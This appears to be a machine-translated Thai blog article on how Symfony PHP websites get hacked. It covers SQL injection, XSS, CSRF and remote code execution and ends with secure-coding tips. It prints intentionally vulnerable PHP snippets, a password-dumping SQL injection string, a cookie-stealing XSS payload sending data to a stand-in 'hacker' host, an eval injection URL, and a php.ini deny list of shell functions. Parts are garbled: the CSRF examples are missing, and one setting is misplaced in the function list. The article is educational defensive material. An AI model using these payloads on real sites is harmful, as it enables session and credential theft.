Symfony เป็นเฟรมเวิร์ก PHP ยอดนิยมที่ทำให้ผู้ใช้สร้างเว็บไซต์ PHP และเว็บแอปพลิเคชันได้ง่าย ในอดีต มีหลายกรณีที่ Drupal ได้รับผลกระทบเนื่องจากข้อบกพร่องในเฟรมเวิร์กของ Symfony ในที่สุด สิ่งนี้นำไปสู่เว็บไซต์ Symfony ที่ถูกแฮ็ก แม้ว่านี่จะเป็นข้อบกพร่องของเฟรมเวิร์ก Symfony ในบางครั้ง แต่แนวทางการพัฒนาที่ไม่ปลอดภัยยังทำให้เว็บไซต์ PHP ของคุณมีช่องโหว่ จากบทความนี้ คุณจะได้เรียนรู้ว่าช่องโหว่ที่สำคัญที่อาจนำไปสู่การแฮ็กเว็บไซต์ Symfony คืออะไรและจะป้องกันได้อย่างไร
ความนิยมของ Symfony สามารถนำมาประกอบกับความจริงที่ว่ามันมีชุดของไลบรารี PHP แบบแยกส่วนและใช้งานได้ ไลบรารีเหล่านี้สามารถเร่งการพัฒนาและทำให้ง่ายขึ้นทั้งหมด อย่างไรก็ตาม การใช้เฟรมเวิร์ก Symfony เพียงอย่างเดียวไม่สามารถรักษาความปลอดภัยให้กับเว็บไซต์ PHP ของคุณได้ ตามข้อมูลจาก Contrast Security
เว็บไซต์ Symfony ถูกแฮ็ก:อาการ
- ตารางที่น่าสงสัยในฐานข้อมูล ผู้ใช้ที่ไม่รู้จัก และไฟล์ที่ไม่รู้จักในระบบอาจเป็นสัญญาณของ Symfony SQL Injection
- ป๊อปอัปและโฆษณาที่เปลี่ยนเส้นทางไปยังโดเมนที่ไม่เหมาะสมอาจเป็นผลมาจาก Symfony Remote Code Execution
- หากผู้ใช้บ่นเกี่ยวกับการลบบัญชีหรือการจัดการข้อมูลโดยไม่ได้ตรวจสอบความถูกต้องบนไซต์ของคุณ อาจเป็นเพราะ Symfony Cross-Site Request Forgery
- เนื้อหาที่ไม่มีความหมายปรากฏบนไซต์ของคุณเนื่องจาก Symfony จัดเก็บ Cross-Site Scripting
- เนื่องจากเว็บไซต์ Symfony ถูกแฮ็กทั้งหมด เครื่องมือค้นหาจึงเตือนผู้ใช้ไม่ให้เข้าชมไซต์ของคุณ
สาเหตุของการแฮ็กเว็บไซต์ Symfony
เว็บไซต์ Symfony ถูกแฮ็ก:SQL Injection
การฉีด Symfony SQL เป็นประเภทของการโจมตีที่กำหนดเป้าหมายฐานข้อมูลของไซต์ของคุณเป็นหลัก การขาดสุขอนามัยในการป้อนข้อมูลของผู้ใช้ทำให้ไซต์มีช่องโหว่ซึ่งนำไปสู่เว็บไซต์ Symfony ที่ถูกแฮ็ก ตัวอย่างเช่น ดูโค้ดด้านล่าง:
<?php
$query = "SELECT id, name, inserted, size FROM products WHERE size = '$size'";
$result = odbc_exec($conn, $query);
?>
โค้ด PHP นี้ดูเหมือนง่ายในการดำเนินการค้นหา SQL แต่ผู้โจมตีสามารถใช้เพื่อเปิดเผยรหัสผ่านทั้งหมดจากฐานข้อมูลโดยใช้คำสั่ง SELECT SQL ข้อมูลที่ป้อนให้กับตัวแปรขนาด $size จะมีลักษณะดังนี้:
'union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from user;--
คำสั่งนี้เมื่อดำเนินการสามารถแสดงรายการรหัสผ่านทั้งหมดจากตารางที่ชื่อผู้ใช้ สัญลักษณ์ '—' ที่ส่วนท้ายของคำสั่งนี้จะเปลี่ยนส่วนที่เหลือของโค้ดในบรรทัดนี้เป็นความคิดเห็นเพื่อหลีกเลี่ยงข้อผิดพลาด นี่เป็นเพียงตัวอย่างเล็กๆ เท่านั้น ผู้โจมตีสามารถใช้มันได้หลายวิธีในการจัดการ แก้ไข และแม้กระทั่งลบฐานข้อมูลของคุณ ในบางกรณีเว็บไซต์ Symfony ถูกแฮ็ก SQLi ยังสามารถใช้เพื่อรับเชลล์แบบย้อนกลับได้ เว็บไซต์ Symfony ถูกแฮ็ก:การเขียนสคริปต์ข้ามไซต์
XSS เป็นช่องโหว่ที่พบอย่างกว้างขวางซึ่งเกิดขึ้นเนื่องจากขาดการฆ่าเชื้ออินพุตของผู้ใช้ที่เหมาะสม ช่องโหว่นี้มักพบในช่องค้นหา กระดานข้อความ ฯลฯ ผู้โจมตีสามารถใช้เว็บไซต์ Symfony ที่ถูกแฮ็กเนื่องจาก XSS เพื่อขโมยคุกกี้และเข้าควบคุมเซสชันได้ ตัวอย่างเช่น การสร้างคำค้นหาด้วยรหัสต่อไปนี้อาจทำให้ผู้โจมตีขโมยคุกกี้ของใครก็ตามที่คลิกเข้าไป
"><SCRIPT>var+img=new+Image();img.src="https://hacker/"%20+%20document.cookie;</SCRIPT>
ที่นี่อักขระ '>' จะปิดแท็กก่อนหน้า หลังจากนั้น ตัวสร้าง image() จะสร้างภาพใหม่ในตัวแปร 'img' บรรทัดถัดไปจะเป็นตัวกำหนดที่มาของรูปภาพ และในบรรทัดเดียวกันนั้น วิธี document.cookie จะถูกใช้เพื่อรับคุกกี้สำหรับเซสชันเทคโอเวอร์ หาก XSS ถูกเก็บไว้หรือคงอยู่ จะยิ่งอันตรายมากขึ้นไปอีกเพราะสคริปต์นี้จะขโมยคุกกี้โดยอัตโนมัติเมื่อมีคนเปิดเพจที่ติดไวรัส ในขณะที่ XSS ที่สะท้อนกลับอาศัยการโจมตีทางวิศวกรรมสังคม ไม่ใช่แค่การขโมยคุกกี้ แต่เว็บไซต์ Symfony ที่ถูกแฮ็กเนื่องจาก XSS ยังสามารถใช้สำหรับการโจมตีแบบฟิชชิ่งทุกประเภท!หากต้องการความช่วยเหลือเกี่ยวกับการซ่อมแซมเว็บไซต์ Symfony ที่ถูกแฮ็กของคุณ ทำความสะอาดเว็บไซต์ของคุณทันที
เว็บไซต์ Symfony ถูกแฮ็ก:การปลอมแปลงคำขอข้ามไซต์
ผู้โจมตีสามารถใช้ CSRF เพื่อให้ผู้ที่ตกเป็นเหยื่อของคุณทำงานที่ไม่ต้องการ เช่น การลบบัญชี จัดการข้อมูลผู้ใช้ เป็นต้น ตัวอย่างเช่น เมื่อผู้ใช้ลงชื่อเข้าใช้ไซต์ของคุณ การเยี่ยมชมหน้าที่จัดทำขึ้นเป็นพิเศษดังที่แสดงด้านล่างอาจส่งผลให้มีการลบ บัญชี. หน้านี้จะใช้ค่า 'ลบ' ของการดำเนินการเพื่อลบบัญชีผู้ใช้ แม้ว่าผู้โจมตีจะสามารถใช้ CSRF เพื่อทำการโจมตีแบบต่างๆ ได้ แต่ก็ไม่มีกลไกใดที่ผู้โจมตีจะเห็นว่าการโจมตีสำเร็จเว็บไซต์ Symfony ถูกแฮ็ก:การดำเนินการโค้ดจากระยะไกล
การเรียกใช้โค้ดจากระยะไกลเกิดขึ้นในเว็บไซต์ที่ใช้ Symphony เนื่องจากมาตรฐานการเข้ารหัสไม่ดี ปัญหาด้านความปลอดภัยที่ใหญ่ที่สุดในการโจมตีทั้งหมดข้างต้นคือการเชื่อถือข้อมูลของผู้ใช้ ตัวอย่างเช่น การใช้ฟังก์ชัน eval() ที่ไม่ดีในโค้ด PHP จะมีลักษณะดังนี้:
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
โค้ดนี้ดูเหมือนง่ายที่จะรับอาร์กิวเมนต์และใช้ฟังก์ชัน eval เพื่อรันสตริงเป็นโค้ด PHP แต่เนื่องจากอินพุตไม่ถูกกรอง ผู้โจมตีสามารถระบุค่าบางอย่าง เช่น /index.php?arg=1; phpinfo()
ซึ่งจะนำไปสู่การเรียกใช้โค้ดของฟังก์ชัน phpinfo() เว็บไซต์ Symfony ถูกแฮ็ก:แนวทางปฏิบัติในการพัฒนาอย่างปลอดภัย
- เพื่อป้องกันการโจมตี SQLi บนเว็บไซต์ Symfony ของคุณ ให้ใช้คำสั่งที่เตรียมไว้
- เพื่อป้องกันการโจมตี XSS ในเว็บไซต์ Symfony ของคุณ ให้ใช้ฟังก์ชัน htmlspecialchars() Implement เมื่อใดก็ตามที่จำเป็นต้องให้ผู้ใช้ป้อนข้อมูลเพื่อแสดงเป็นเอาต์พุตบนเบราว์เซอร์
- ใช้โทเค็นสุ่มที่ซ่อนอยู่ในหน้าเพื่อหลีกเลี่ยงการโจมตี CSRF ดังนี้:”>
- เพื่อป้องกันไม่ให้ RCE ปิดการใช้งานฟังก์ชันที่เป็นอันตรายทั้งหมดผ่านคำสั่ง PHP นี้ในไฟล์ php.ini:disable_functions =“show_source, system, shell_exec, passthru, exec, popen, proc_open, allow_url_fopen, eval”
- ประเด็นสำคัญก็คือ ช่องโหว่ส่วนใหญ่สามารถหลีกเลี่ยงได้โดยไม่เชื่อถือข้อมูลที่ผู้ใช้ป้อนในเว็บไซต์ Symfony ของคุณ
- ไปตรวจสอบความปลอดภัยเต็มรูปแบบหากคุณสงสัยว่ามีช่องโหว่ที่อาจแฝงตัวอยู่ในเว็บไซต์ของคุณ